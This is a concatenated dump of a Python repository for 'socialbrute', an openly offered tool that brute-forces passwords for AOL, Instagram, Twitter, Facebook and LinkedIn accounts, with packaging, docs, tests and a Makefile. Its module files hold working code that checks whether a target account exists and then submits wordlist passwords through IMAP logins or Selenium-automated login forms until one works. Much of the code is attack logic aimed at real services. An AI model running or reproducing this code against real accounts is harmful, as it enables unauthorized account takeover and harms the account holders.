43 | for password in passwords:
44 | try:
45 | session = IMAP4.login(self.username, password)
46 | if (session == 'OK' or 'AUTHENTICATE completed'):
47 | found = password
48 | break
49 | except IMAP4.error:
50 | pass
51 | time.sleep(self.delay)
52 |
53 | IMAP4.logout()
54 | return found
55 |
--------------------------------------------------------------------------------
/socialbrute/modules/aol.py:
--------------------------------------------------------------------------------
1 | import time
2 | import imaplib
3 |
4 |
5 | class Aol:
6 |
7 | def __init__(self, browser):
8 | self.browser = browser
9 |
10 | def set_config(self, username, wordlist, delay):
11 | self.username = username
12 | self.name = ''
13 | self.host = 'imap.aol.com'
14 | self.port = 993
15 | self.wordlist = wordlist
16 | self.delay = delay
17 |
18 | def check_user(self):
19 | self.browser.driver.get('https://login.aol.com/')
20 | try:
21 | input = self.browser.wait_until_element_exists('id', 'login-username')
22 | input.clear()
23 | input.send_keys(self.username)
24 | self.browser.driver.find_element_by_id('login-signin').click()
25 | self.browser.implicitly_wait(3)
26 | if 'Sorry, we don't recognize this email.' in self.browser.driver.page_source:
27 | return False
28 | elif 'This account has been deactivated' in self.browser.driver.page_source:
29 | return False
30 | else:
31 | self.name = 'Not found'
32 | return True
33 | except BaseException:
34 | return False
35 |
36 | def crack(self):
37 | passwords = []
38 | found = ''
39 | with open(self.wordlist, 'r') as f:
40 | for line in f:
41 | passwords.append(line.strip('\n'))
42 | IMAP4 = imaplib.IMAP4_SSL(self.host, self.port)
43 | for password in passwords:
44 | try:
45 | session = IMAP4.login(self.username, password)
46 | if (session == 'OK' or 'AUTHENTICATE completed'):
47 | found = password
48 | break
49 | except IMAP4.error:
50 | pass
51 | time.sleep(self.delay)
52 |
53 | IMAP4.logout()
54 | return found
55 |
--------------------------------------------------------------------------------
/HISTORY.rst:
--------------------------------------------------------------------------------
1 | =======
2 | History
3 | =======
4 |
5 | **unreleased**
6 | **v1.1.1**
7 |
8 | v1.1.0 (2020-04-25)
9 | -------------------
10 |
11 | * Removed unused imports and variables and conformed to the pep 8 style guide
12 | * Updated docs
13 | * Added tests for the new modules
14 | * Fixed the wait after the call to the page in the modules
15 | * Added new module for linkedin
16 | * Added new module for github
17 | * Added new module for gitlab
18 | * Added new module for netflix
19 | * Added new module for spotify
20 | * Fixed instagram module
21 | * Fixed twitter module
22 | * Fixed the check_user function of the hotmail module
23 | * Fixed facebook module
24 | * Added wait for page loaded
25 | * Updated travis
26 | * Fixes #7
27 | * Fixed unused variable in run method
28 | * Added new make command to test releases
29 | * Fixed unused variable in cli method
30 | * Updated makefile
31 | * Fixed tag name on bump2version
32 |
33 | v1.0.2 (2019-10-27)
34 | -------------------
35 |
36 | * Added socialbrute tests for each module
37 | * Check if the browser has been started on travis
38 | * Added release-notes make command to generate history from the latest commits
39 | * Added chromedriver installation and jobs environments on travis
40 | * Fixed the installation of codecov in travis
41 | * Removed unused imports and variables and conformed to the PEP 8 style guide
42 | * Removed setuptools-changelog package, use only bump2version to change history
43 | * Added installation of codecov in travis
44 | * Added develop requirements
45 | * Fixed phony and added other commands in makefile
46 | * Fixed duplicate language in travis configuration
47 |
48 | v1.0.1 (2019-10-21)
49 | -------------------
50 |
51 | * Added sudo and python language parameters
52 | * Fixed packages inside setup.py
53 | * Added --no-sandbox chrome option argument
54 | * Fixed missing dependency
55 |
56 | 1.0.0 (2019-10-14)
57 | ------------------
58 |
59 | * First release on PyPI.
60 |
--------------------------------------------------------------------------------
/socialbrute/modules/instagram.py:
--------------------------------------------------------------------------------
1 | import time
2 | from selenium.webdriver.common.keys import Keys
3 |
4 |
5 | class Instagram:
6 |
7 | def __init__(self, browser):
8 | self.browser = browser
9 |
10 | def set_config(self, username, wordlist, delay):
11 | self.username = username
12 | self.name = ''
13 | self.wordlist = wordlist
14 | self.delay = delay
15 | self.url = 'https://www.instagram.com/accounts/login/'
16 |
17 | def check_user(self):
18 | self.browser.driver.get('https://instagram.com/%s' % self.username)
19 | username = '@' + self.username
20 | if username in self.browser.driver.title:
21 | try:
22 | name = self.browser.driver.find_element_by_xpath(
23 | "//span[@id=\"react-root\"]/section/main/div/header/section/div[2]/h1")
24 | self.name = name.text
25 | return True
26 | except BaseException:
27 | self.name = 'Not found'
28 | return False
29 | else:
30 | return False
31 |
32 | def crack(self):
33 | passwords = []
34 | found = ''
35 | with open(self.wordlist, 'r') as f:
36 | for line in f:
37 | passwords.append(line.strip('\n'))
38 | for password in passwords:
39 | self.browser.driver.get(self.url)
40 | email = self.browser.wait_until_element_exists('name', 'username')
41 | email.send_keys(self.username)
42 | time.sleep(1)
43 | pwd = self.browser.driver.find_element_by_name('password')
44 | pwd.send_keys(password)
45 | time.sleep(1)
46 | pwd.send_keys(Keys.RETURN)
47 | time.sleep(2)
48 | self.browser.wait_page_loaded()
49 | url = self.browser.driver.current_url
50 | if (url != self.url) and ('Login' not in self.browser.driver.title):
51 | found = password
52 | break
53 | time.sleep(self.delay)
54 |
55 | return found
56 |
--------------------------------------------------------------------------------
/socialbrute/modules/twitter.py:
--------------------------------------------------------------------------------
1 | import time
2 |
3 |
4 | class Twitter:
5 |
6 | def __init__(self, browser):
7 | self.browser = browser
8 |
9 | def set_config(self, username, wordlist, delay):
10 | self.username = username
11 | self.name = ''
12 | self.wordlist = wordlist
13 | self.delay = delay
14 | # 'https://mobile.twitter.com/login'
15 | self.url = 'https://mobile.twitter.com/session/new'
16 |
17 | def check_user(self):
18 | self.browser.driver.get('https://twitter.com/%s' % self.username)
19 | if self.username in self.browser.driver.title:
20 | name = self.browser.driver.find_element_by_xpath(
21 | '//div[@class="fullname"]')
22 | #name = self.browser.driver.find_element_by_xpath('//a[@href="/%s"]' % self.username)
23 | self.name = name.text
24 | return True
25 | else:
26 | return False
27 |
28 | def crack(self):
29 | passwords = []
30 | found = ''
31 | with open(self.wordlist, 'r') as f:
32 | for line in f:
33 | passwords.append(line.strip('\n'))
34 | for password in passwords:
35 | self.browser.driver.get(self.url)
36 | email = self.browser.wait_until_element_exists('name', 'session[username_or_email]')
37 | # email = self.browser.driver.find_element_by_name(
38 | # 'session[username_or_email]')
39 | email.send_keys(self.username)
40 | pwd = self.browser.driver.find_element_by_name('session[password]')
41 | pwd.send_keys(password)
42 |
43 | form = self.browser.driver.find_elements_by_xpath('.//form')[0]
44 | form.submit()
45 |
46 | self.browser.wait_page_loaded()
47 |
48 | url = self.browser.driver.current_url
49 | if url == "https://mobile.twitter.com/" or url == "https://mobile.twitter.com/home" or 'https://mobile.twitter.com/account/login_challenge' in url:
50 | found = password
51 | break
52 | time.sleep(self.delay)
53 |
54 | return found
55 |
--------------------------------------------------------------------------------
/setup.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- coding: utf-8 -*-
3 |
4 | """The setup script."""
5 |
6 | import os
7 | from setuptools import setup, find_packages
8 |
9 |
10 | with open('README.rst') as readme_file:
11 | readme = readme_file.read()
12 |
13 | with open('HISTORY.rst') as history_file:
14 | history = history_file.read()
15 |
16 | requirements = [
17 | 'Click>=6.0',
18 | 'selenium>=3.141.0',
19 | 'yaspin>=0.14.0',
20 | 'terminaltables>=3.1.0',
21 | ]
22 |
23 | setup_requirements = []
24 |
25 | test_requirements = []
26 |
27 | about = {}
28 | here = os.path.abspath(os.path.dirname(__file__))
29 | with open(os.path.join(here, 'socialbrute', '__init__.py')) as f:
30 | exec(f.read(), about)
31 |
32 | setup(
33 | author=about['__author__'],
34 | author_email=about['__email__'],
35 | classifiers=[
36 | 'Development Status :: 5 - Production/Stable',
37 | 'Intended Audience :: Developers',
38 | 'License :: OSI Approved :: GNU General Public License v3 (GPLv3)',
39 | 'Natural Language :: English',
40 | "Programming Language :: Python :: 2",
41 | 'Programming Language :: Python :: 2.7',
42 | 'Programming Language :: Python :: 3',
43 | 'Programming Language :: Python :: 3.4',
44 | 'Programming Language :: Python :: 3.5',
45 | 'Programming Language :: Python :: 3.6',
46 | 'Programming Language :: Python :: 3.7',
47 | ],
48 | description=about['__description__'],
49 | entry_points={
50 | 'console_scripts': [
51 | 'socialbrute=socialbrute.cli:main',
52 | ],
53 | },
54 | install_requires=requirements,
55 | license="GNU General Public License v3",
56 | long_description=readme + '\n\n' + history,
57 | include_package_data=True,
58 | keywords='socialbrute',
59 | name='socialbrute',
60 | packages=find_packages(include=['socialbrute', 'socialbrute.modules']),
61 | setup_requires=setup_requirements,
62 | test_suite='tests',
63 | tests_require=test_requirements,
64 | url='https://github.com/5h4d0wb0y/socialbrute',
65 | version=about['__version__'],
66 | zip_safe=False,
67 | )
68 |
--------------------------------------------------------------------------------
/socialbrute/modules/facebook.py:
--------------------------------------------------------------------------------
1 | import time
2 | from selenium.common.exceptions import NoSuchElementException
3 |
4 |
5 | class Facebook:
6 |
7 | def __init__(self, browser):
8 | self.browser = browser
9 |
10 | def set_config(self, username, wordlist, delay):
11 | self.username = username
12 | self.name = ''
13 | self.wordlist = wordlist
14 | self.delay = delay
15 | self.url = 'https://www.facebook.com/login.php'
16 |
17 | def check_user(self):
18 | self.browser.driver.get(self.url)
19 | email = self.browser.wait_until_element_exists('id', 'email')
20 | email.send_keys(self.username)
21 | form = self.browser.driver.find_element_by_id('login_form')
22 | form.submit()
23 |
24 | try:
25 | name = self.browser.driver.find_element_by_xpath(
26 | "//span[contains(text(), 'Log In as')]")
27 | if name:
28 | self.name = name.text.replace('Log In as ', '')
29 | return True
30 | else:
31 | return False
32 | except BaseException:
33 | return False
34 |
35 | def crack(self):
36 | passwords = []
37 | found = ''
38 | with open(self.wordlist, 'r') as f:
39 | for line in f:
40 | passwords.append(line.strip('\n'))
41 | for password in passwords:
42 | self.browser.driver.get(self.url)
43 | try:
44 | email = self.browser.driver.find_element_by_id('email')
45 | email.send_keys(self.username)
46 | except NoSuchElementException:
47 | pass
48 | pwd = self.browser.driver.find_element_by_id('pass')
49 | pwd.send_keys(password)
50 | form = self.browser.driver.find_element_by_id('login_form')
51 | form.submit()
52 |
53 | self.browser.wait_page_loaded()
54 |
55 | url = self.browser.driver.current_url
56 | if (url != self.url) and ('login_attempt' not in url):
57 | found = password
58 | break
59 | time.sleep(self.delay)
60 |
61 | return found
62 |
--------------------------------------------------------------------------------
/socialbrute/modules/linkedin.py:
--------------------------------------------------------------------------------
1 | import time
2 | from selenium.webdriver.common.keys import Keys
3 |
4 |
5 | class Linkedin:
6 |
7 | def __init__(self, browser):
8 | self.browser = browser
9 |
10 | def set_config(self, username, wordlist, delay):
11 | self.username = username
12 | self.name = ''
13 | self.wordlist = wordlist
14 | self.delay = delay
15 | self.url = 'https://www.linkedin.com/login'
16 |
17 | def check_user(self):
18 | self.browser.driver.get(self.url)
19 | email = self.browser.wait_until_element_exists('id', 'username')
20 | email.send_keys(self.username)
21 | pwd = self.browser.driver.find_element_by_id('password')
22 | pwd.send_keys('password12345')
23 | pwd.send_keys(Keys.RETURN)
24 | try:
25 | err = self.browser.driver.find_element_by_id('error-for-username')
26 | if 'we don\'t recognize that email' in err.text:
27 | return False
28 | except BaseException:
29 | pass
30 |
31 | # try to retrieve the full name of account
32 | self.browser.driver.get("https://www.linkedin.com/in/%s" % self.username)
33 | try:
34 | name = self.browser.driver.find_element_by_xpath('//h1[@class="topcard__name"]')
35 | if name:
36 | self.name = name.text
37 | return True
38 | else:
39 | return False
40 | except BaseException:
41 | return False
42 |
43 | def crack(self):
44 | passwords = []
45 | found = ''
46 | with open(self.wordlist, 'r') as f:
47 | for line in f:
48 | passwords.append(line.strip('\n'))
49 | for password in passwords:
50 | self.browser.driver.get(self.url)
51 | email = self.browser.driver.find_element_by_id('username')
52 | email.clear()
53 | email.send_keys(self.username)
54 | time.sleep(1)
55 | pwd = self.browser.driver.find_element_by_id('password')
56 | pwd.clear()
57 | pwd.send_keys(password)
58 | time.sleep(1)
59 | pwd.send_keys(Keys.RETURN)
60 |
61 | self.browser.wait_page_loaded()
62 |
63 | url = self.browser.driver.current_url
64 | if 'login-challenge' in url or 'feed' in url:
65 | found = password
66 | break
67 |
68 | time.sleep(self.delay)
69 |
70 | return found
71 |
--------------------------------------------------------------------------------
/docs/socialbrute.modules.rst:
--------------------------------------------------------------------------------
1 | socialbrute.modules package
2 | ===========================
3 |
4 | Submodules
5 | ----------
6 |
7 | socialbrute.modules.aol module
8 | ------------------------------
9 |
10 | .. automodule:: socialbrute.modules.aol
11 | :members:
12 | :undoc-members:
13 | :show-inheritance:
14 |
15 | socialbrute.modules.facebook module
16 | -----------------------------------
17 |
18 | .. automodule:: socialbrute.modules.facebook
19 | :members:
20 | :undoc-members:
21 | :show-inheritance:
22 |
23 | socialbrute.modules.gmail module
24 | --------------------------------
25 |
26 | .. automodule:: socialbrute.modules.gmail
27 | :members:
28 | :undoc-members:
29 | :show-inheritance:
30 |
31 | socialbrute.modules.hotmail module
32 | ----------------------------------
33 |
34 | .. automodule:: socialbrute.modules.hotmail
35 | :members:
36 | :undoc-members:
37 | :show-inheritance:
38 |
39 | socialbrute.modules.instagram module
40 | ------------------------------------
41 |
42 | .. automodule:: socialbrute.modules.instagram
43 | :members:
44 | :undoc-members:
45 | :show-inheritance:
46 |
47 | socialbrute.modules.twitter module
48 | ----------------------------------
49 |
50 | .. automodule:: socialbrute.modules.twitter
51 | :members:
52 | :undoc-members:
53 | :show-inheritance:
54 |
55 | socialbrute.modules.vk module
56 | -----------------------------
57 |
58 | .. automodule:: socialbrute.modules.vk
59 | :members:
60 | :undoc-members:
61 | :show-inheritance:
62 |
63 | socialbrute.modules.yahoo module
64 | --------------------------------
65 |
66 | .. automodule:: socialbrute.modules.yahoo
67 | :members:
68 | :undoc-members:
69 | :show-inheritance:
70 |
71 | socialbrute.modules.spotify module
72 | ----------------------------------
73 |
74 | .. automodule:: socialbrute.modules.spotify
75 | :members:
76 | :undoc-members:
77 | :show-inheritance:
78 |
79 | socialbrute.modules.netflix module
80 | ----------------------------------
81 |
82 | .. automodule:: socialbrute.modules.netflix
83 | :members:
84 | :undoc-members:
85 | :show-inheritance:
86 |
87 | socialbrute.modules.gitlab module
88 | ---------------------------------
89 |
90 | .. automodule:: socialbrute.modules.gitlab
91 | :members:
92 | :undoc-members:
93 | :show-inheritance:
94 |
95 | socialbrute.modules.github module
96 | ---------------------------------
97 |
98 | .. automodule:: socialbrute.modules.github
99 | :members:
100 | :undoc-members:
101 | :show-inheritance:
102 |
103 | socialbrute.modules.linkedin module
104 | -----------------------------------
105 |
106 | .. automodule:: socialbrute.modules.linkedin
107 | :members:
108 | :undoc-members:
109 | :show-inheritance:
110 |
111 |
112 | Module contents
113 | ---------------
114 |
115 | .. automodule:: socialbrute.modules
116 | :members:
117 | :undoc-members:
118 | :show-inheritance:
119 |
--------------------------------------------------------------------------------
/tests/test_socialbrute.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- coding: utf-8 -*-
3 |
4 | """Tests for `socialbrute` package."""
5 |
6 |
7 | import unittest
8 | from click.testing import CliRunner
9 |
10 | from socialbrute import socialbrute
11 | from socialbrute import browser
12 | from socialbrute import cli
13 |
14 |
15 | class TestSocialbrute(unittest.TestCase):
16 | """Tests for `socialbrute` package."""
17 |
18 | def setUp(self):
19 | """Start browser."""
20 | self.browser = browser.Browser()
21 | self.browser.start(headless=True)
22 |
23 | def tearDown(self):
24 | """Stop browser."""
25 | self.browser.stop()
26 |
27 | def test_check_aol_user(self):
28 | """Test Aol."""
29 | sb = socialbrute.Aol(self.browser)
30 | sb.set_config('socialbrute_username', 'wordlist.txt', 1)
31 | assert sb.check_user() == 0
32 |
33 | def test_check_facebook_user(self):
34 | """Test Facebook."""
35 | sb = socialbrute.Facebook(self.browser)
36 | sb.set_config('socialbrute_username', 'wordlist.txt', 1)
37 | assert sb.check_user() == 0
38 |
39 | def test_check_gmail_user(self):
40 | """Test GMail."""
41 | sb = socialbrute.Gmail(self.browser)
42 | sb.set_config('socialbrute_username', 'wordlist.txt', 1)
43 | assert sb.check_user() == 0
44 |
45 | def test_check_hotmail_user(self):
46 | """Test Hotmail."""
47 | sb = socialbrute.Hotmail(self.browser)
48 | sb.set_config('socialbrute_username', 'wordlist.txt', 1)
49 | assert sb.check_user() == 0
50 |
51 | def test_check_instagram_user(self):
52 | """Test Instagram."""
53 | sb = socialbrute.Instagram(self.browser)
54 | sb.set_config('socialbrute_username', 'wordlist.txt', 1)
55 | assert sb.check_user() == 0
56 |
57 | def test_check_twitter_user(self):
58 | """Test Twitter."""
59 | sb = socialbrute.Twitter(self.browser)
60 | sb.set_config('socialbrute_username', 'wordlist.txt', 1)
61 | assert sb.check_user() == 0
62 |
63 | def test_check_vk_user(self):
64 | """Test Vk."""
65 | sb = socialbrute.Vk(self.browser)
66 | sb.set_config('socialbrute_username', 'wordlist.txt', 1)
67 | assert sb.check_user() == 0
68 |
69 | def test_check_yahoo_user(self):
70 | """Test Yahoo."""
71 | sb = socialbrute.Yahoo(self.browser)
72 | sb.set_config('socialbrute_username', 'wordlist.txt', 1)
73 | assert sb.check_user() == 0
74 |
75 | def test_check_spotify_user(self):
76 | """Test Spotify."""
77 | sb = socialbrute.Spotify(self.browser)
78 | sb.set_config('socialbrute_username', 'wordlist.txt', 1)
79 | assert sb.check_user() == 0
80 |
81 | def test_check_netflix_user(self):
82 | """Test Netflix."""
83 | sb = socialbrute.Netflix(self.browser)
84 | sb.set_config('socialbrute_username', 'wordlist.txt', 1)
85 | assert sb.check_user() == 0
86 |
87 | def test_check_gitlab_user(self):
88 | """Test Gitlab."""
89 | sb = socialbrute.Gitlab(self.browser)
90 | sb.set_config('socialbrute_username', 'wordlist.txt', 1)
91 | assert sb.check_user() == 0
92 |
93 | def test_check_github_user(self):
94 | """Test Github."""
95 | sb = socialbrute.Github(self.browser)
96 | sb.set_config('socialbrute_username', 'wordlist.txt', 1)
97 | assert sb.check_user() == 0
98 |
99 | def test_check_linkedin_user(self):
100 | """Test Linkedin."""
101 | sb = socialbrute.Linkedin(self.browser)
102 | sb.set_config('socialbrute_username', 'wordlist.txt', 1)
103 | assert sb.check_user() == 0
104 |
105 | def test_command_line_interface(self):
106 | """Test the CLI."""
107 | runner = CliRunner()
108 | help_result = runner.invoke(cli.main, ['--help'])
109 | assert help_result.exit_code == 0
110 | assert 'Show this message and exit.' in help_result.output
111 |
--------------------------------------------------------------------------------
/CONTRIBUTING.rst:
--------------------------------------------------------------------------------
1 | .. highlight:: shell
2 |
3 | ============
4 | Contributing
5 | ============
6 |
7 | Contributions are welcome, and they are greatly appreciated! Every little bit
8 | helps, and credit will always be given.
9 |
10 | You can contribute in many ways:
11 |
12 | Types of Contributions
13 | ----------------------
14 |
15 | Report Bugs
16 | ~~~~~~~~~~~
17 |
18 | Report bugs at https://github.com/5h4d0wb0y/socialbrute/issues.
19 |
20 | If you are reporting a bug, please include:
21 |
22 | * Your operating system name and version.
23 | * Any details about your local setup that might be helpful in troubleshooting.
24 | * Detailed steps to reproduce the bug.
25 |
26 | Fix Bugs
27 | ~~~~~~~~
28 |
29 | Look through the GitHub issues for bugs. Anything tagged with "bug" and "help
30 | wanted" is open to whoever wants to implement it.
31 |
32 | Implement Features
33 | ~~~~~~~~~~~~~~~~~~
34 |
35 | Look through the GitHub issues for features. Anything tagged with "enhancement"
36 | and "help wanted" is open to whoever wants to implement it.
37 |
38 | Write Documentation
39 | ~~~~~~~~~~~~~~~~~~~
40 |
41 | socialbrute could always use more documentation, whether as part of the
42 | official socialbrute docs, in docstrings, or even on the web in blog posts,
43 | articles, and such.
44 |
45 | Submit Feedback
46 | ~~~~~~~~~~~~~~~
47 |
48 | The best way to send feedback is to file an issue at https://github.com/5h4d0wb0y/socialbrute/issues.
49 |
50 | If you are proposing a feature:
51 |
52 | * Explain in detail how it would work.
53 | * Keep the scope as narrow as possible, to make it easier to implement.
54 | * Remember that this is a volunteer-driven project, and that contributions
55 | are welcome :)
56 |
57 | Get Started!
58 | ------------
59 |
60 | Ready to contribute? Here's how to set up `socialbrute` for local development.
61 |
62 | 1. Fork the `socialbrute` repo on GitHub.
63 | 2. Clone your fork locally::
64 |
65 | $ git clone git@github.com:your_name_here/socialbrute.git
66 |
67 | 3. Install your local copy into a virtualenv. Assuming you have virtualenvwrapper installed, this is how you set up your fork for local development::
68 |
69 | $ mkvirtualenv socialbrute
70 | $ cd socialbrute/
71 | $ python setup.py develop
72 |
73 | 4. Create a branch for local development::
74 |
75 | $ git checkout -b name-of-your-bugfix-or-feature
76 |
77 | Now you can make your changes locally.
78 |
79 | 5. When you're done making changes, check that your changes pass flake8 and the
80 | tests, including testing other Python versions with tox::
81 |
82 | $ flake8 socialbrute tests
83 | $ python setup.py test or py.test
84 | $ tox
85 |
86 | To get flake8 and tox, just pip install them into your virtualenv.
87 |
88 | 6. Commit your changes and push your branch to GitHub::
89 |
90 | $ git add .
91 | $ git commit -m "Your detailed description of your changes."
92 | $ git push origin name-of-your-bugfix-or-feature
93 |
94 | 7. Submit a pull request through the GitHub website.
95 |
96 | Pull Request Guidelines
97 | -----------------------
98 |
99 | Before you submit a pull request, check that it meets these guidelines:
100 |
101 | 1. The pull request should include tests.
102 | 2. If the pull request adds functionality, the docs should be updated. Put
103 | your new functionality into a function with a docstring, and add the
104 | feature to the list in README.rst.
105 | 3. The pull request should work for Python 2.7, 3.4, 3.5 and 3.6, and for PyPy. Check
106 | https://travis-ci.org/5h4d0wb0y/socialbrute/pull_requests
107 | and make sure that the tests pass for all supported Python versions.
108 |
109 | Tips
110 | ----
111 |
112 | To run a subset of tests::
113 |
114 |
115 | $ python -m unittest tests.test_socialbrute
116 |
117 | Deploying
118 | ---------
119 |
120 | A reminder for the maintainers on how to deploy.
121 | Make sure all your changes are committed (including an entry in HISTORY.rst).
122 | Then run::
123 |
124 | $ bumpversion patch # possible: major / minor / patch
125 | $ git push
126 | $ git push --tags
127 |
128 | Travis will then deploy to PyPI if tests pass.
129 |
--------------------------------------------------------------------------------
/Makefile:
--------------------------------------------------------------------------------
1 | .PHONY: all
2 | all: help
3 |
4 | define BROWSER_PYSCRIPT
5 | import os, webbrowser, sys
6 |
7 | try:
8 | from urllib import pathname2url
9 | except:
10 | from urllib.request import pathname2url
11 |
12 | webbrowser.open("file://" + pathname2url(os.path.abspath(sys.argv[1])))
13 | endef
14 | export BROWSER_PYSCRIPT
15 |
16 | define PRINT_HELP_PYSCRIPT
17 | import re, sys
18 |
19 | for line in sys.stdin:
20 | match = re.match(r'^([a-zA-Z_-]+):.*?## (.*)$$', line)
21 | if match:
22 | target, help = match.groups()
23 | print("%-20s %s" % (target, help))
24 | endef
25 | export PRINT_HELP_PYSCRIPT
26 |
27 | BROWSER := python -c "$$BROWSER_PYSCRIPT"
28 |
29 | .PHONY: help
30 | help:
31 | @python -c "$$PRINT_HELP_PYSCRIPT" < $(MAKEFILE_LIST)
32 |
33 | .PHONY: clean
34 | clean: clean-build clean-pyc clean-test ## remove all build, test, coverage and Python artifacts
35 |
36 | .PHONY: clean-build
37 | clean-build: ## remove build artifacts
38 | rm -fr build/
39 | rm -fr dist/
40 | rm -fr .eggs/
41 | find . -name '*.egg-info' -exec rm -fr {} +
42 | find . -name '*.egg' -exec rm -f {} +
43 |
44 | .PHONY: clean-pyc
45 | clean-pyc: ## remove Python file artifacts
46 | find . -name '*.pyc' -exec rm -f {} +
47 | find . -name '*.pyo' -exec rm -f {} +
48 | find . -name '*~' -exec rm -f {} +
49 | find . -name '__pycache__' -exec rm -fr {} +
50 |
51 | .PHONY: clean-test
52 | clean-test: ## remove test and coverage artifacts
53 | rm -fr .tox/
54 | rm -f .coverage
55 | rm -fr htmlcov/
56 | rm -fr .pytest_cache
57 |
58 | .PHONY: flake8
59 | flake8: ## check format style with flake8
60 | flake8 socialbrute tests
61 |
62 | .PHONY: test-lint
63 | test-lint: clean-pyc flake8 ## test format style with flake8
64 |
65 | autoflake:
66 | autoflake -ir --remove-all-unused-imports --remove-unused-variables ./socialbrute
67 | autoflake -ir --remove-all-unused-imports --remove-unused-variables ./tests
68 |
69 | autopep8:
70 | autopep8 -ir --aggressive --max-line-length=120 ./socialbrute
71 | autopep8 -ir --aggressive --max-line-length=120 ./tests
72 |
73 | .PHONY: auto-lint
74 | auto-lint: autoflake autopep8 ## automatically remove all unused imports and variables and conform to the PEP 8 style guide
75 |
76 | .PHONY: test
77 | test: ## run tests quickly with the default Python
78 | python3 setup.py test
79 |
80 | .PHONY: test-all
81 | test-all: ## run tests on every Python version with tox
82 | tox
83 |
84 | .PHONY: coverage
85 | coverage: ## check code coverage quickly with the default Python
86 | coverage run --source socialbrute setup.py test
87 | coverage report -m
88 | coverage html
89 | $(BROWSER) htmlcov/index.html
90 |
91 | .PHONY: docs
92 | docs: ## generate Sphinx HTML documentation, including API docs
93 | rm -f docs/socialbrute.rst
94 | rm -f docs/modules.rst
95 | sphinx-apidoc -o docs/ socialbrute
96 | $(MAKE) -C docs clean
97 | $(MAKE) -C docs html
98 | $(BROWSER) docs/_build/html/index.html
99 |
100 | .PHONY: servedocs
101 | servedocs: docs ## compile the docs watching for changes
102 | watchmedo shell-command -p '*.rst' -c '$(MAKE) -C docs html' -R -D .
103 |
104 | .PHONY: dist
105 | dist: clean ## builds source and wheel package
106 | python3 setup.py sdist
107 | python3 setup.py bdist_wheel
108 | ls -l dist
109 |
110 | .PHONY: install
111 | install: clean ## install the package to the active Python's site-packages
112 | python3 setup.py install
113 |
114 | .PHONY: bump-patch
115 | bump-patch: ## bump the patch version
116 | bump2version patch
117 |
118 | .PHONY: bump-minor
119 | bump-minor: ## bump the minor version
120 | bump2version minor
121 |
122 | .PHONY: bump-major
123 | bump-major: ## bump the major version
124 | bump2version major
125 |
126 | define RELEASE_NOTES
127 | import re, os
128 |
129 | curtag = os.popen('git describe --tags --abbrev=0').read()
130 | cmd = 'git log %s..HEAD --oneline' % curtag.rstrip()
131 | output = os.popen(cmd).readlines()
132 |
133 | print('Add the following to the history:\n')
134 |
135 | for line in output:
136 | if line == '' or line == '\n':
137 | pass
138 | match = re.sub(r'^[0-9a-fA-F]+\s', '', line.rstrip())
139 | print('* %s' % match.capitalize())
140 | endef
141 | export RELEASE_NOTES
142 |
143 | .PHONY: release-notes
144 | release-notes: ## extract the latest commits to add to the changelog
145 | python -c "$$RELEASE_NOTES"
146 |
147 | .PHONY: release-test
148 | release-test: dist ## package and upload a release
149 | twine upload --repository testpypi dist/*
150 |
151 | .PHONY: release
152 | release: dist ## package and upload a release
153 | twine upload --repository pypi --verbose dist/*
154 |
--------------------------------------------------------------------------------
/docs/conf.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- coding: utf-8 -*-
3 | #
4 | # socialbrute documentation build configuration file, created by
5 | # sphinx-quickstart on Fri Jun 9 13:47:02 2017.
6 | #
7 | # This file is execfile()d with the current directory set to its
8 | # containing dir.
9 | #
10 | # Note that not all possible configuration values are present in this
11 | # autogenerated file.
12 | #
13 | # All configuration values have a default; values that are commented out
14 | # serve to show the default.
15 |
16 | # If extensions (or modules to document with autodoc) are in another
17 | # directory, add these directories to sys.path here. If the directory is
18 | # relative to the documentation root, use os.path.abspath to make it
19 | # absolute, like shown here.
20 | #
21 | import os
22 | import sys
23 | sys.path.insert(0, os.path.abspath('..'))
24 |
25 | import socialbrute
26 |
27 | # -- General configuration ---------------------------------------------
28 |
29 | # If your documentation needs a minimal Sphinx version, state it here.
30 | #
31 | # needs_sphinx = '1.0'
32 |
33 | # Add any Sphinx extension module names here, as strings. They can be
34 | # extensions coming with Sphinx (named 'sphinx.ext.*') or your custom ones.
35 | extensions = ['sphinx.ext.autodoc', 'sphinx.ext.viewcode']
36 |
37 | # Add any paths that contain templates here, relative to this directory.
38 | templates_path = ['_templates']
39 |
40 | # The suffix(es) of source filenames.
41 | # You can specify multiple suffix as a list of string:
42 | #
43 | # source_suffix = ['.rst', '.md']
44 | source_suffix = '.rst'
45 |
46 | # The master toctree document.
47 | master_doc = 'index'
48 |
49 | # General information about the project.
50 | project = u'socialbrute'
51 | copyright = socialbrute.__copyright__
52 | author = socialbrute.__author__
53 |
54 | # The version info for the project you're documenting, acts as replacement
55 | # for |version| and |release|, also used in various other places throughout
56 | # the built documents.
57 | #
58 | # The short X.Y version.
59 | version = socialbrute.__version__
60 | # The full version, including alpha/beta/rc tags.
61 | release = socialbrute.__version__
62 |
63 | # The language for content autogenerated by Sphinx. Refer to documentation
64 | # for a list of supported languages.
65 | #
66 | # This is also used if you do content translation via gettext catalogs.
67 | # Usually you set "language" from the command line for these cases.
68 | language = None
69 |
70 | # List of patterns, relative to source directory, that match files and
71 | # directories to ignore when looking for source files.
72 | # This patterns also effect to html_static_path and html_extra_path
73 | exclude_patterns = ['_build', 'Thumbs.db', '.DS_Store']
74 |
75 | # The name of the Pygments (syntax highlighting) style to use.
76 | pygments_style = 'sphinx'
77 |
78 | # If true, `todo` and `todoList` produce output, else they produce nothing.
79 | todo_include_todos = False
80 |
81 |
82 | # -- Options for HTML output -------------------------------------------
83 |
84 | # The theme to use for HTML and HTML Help pages. See the documentation for
85 | # a list of builtin themes.
86 | #
87 | html_theme = 'alabaster'
88 |
89 | # Theme options are theme-specific and customize the look and feel of a
90 | # theme further. For a list of options available for each theme, see the
91 | # documentation.
92 | #
93 | # html_theme_options = {}
94 |
95 | # Add any paths that contain custom static files (such as style sheets) here,
96 | # relative to this directory. They are copied after the builtin static files,
97 | # so a file named "default.css" will overwrite the builtin "default.css".
98 | #html_static_path = ['_static']
99 | html_static_path = []
100 |
101 | # -- Options for HTMLHelp output ---------------------------------------
102 |
103 | # Output file base name for HTML help builder.
104 | htmlhelp_basename = 'socialbrutedoc'
105 |
106 |
107 | # -- Options for LaTeX output ------------------------------------------
108 |
109 | latex_elements = {
110 | # The paper size ('letterpaper' or 'a4paper').
111 | #
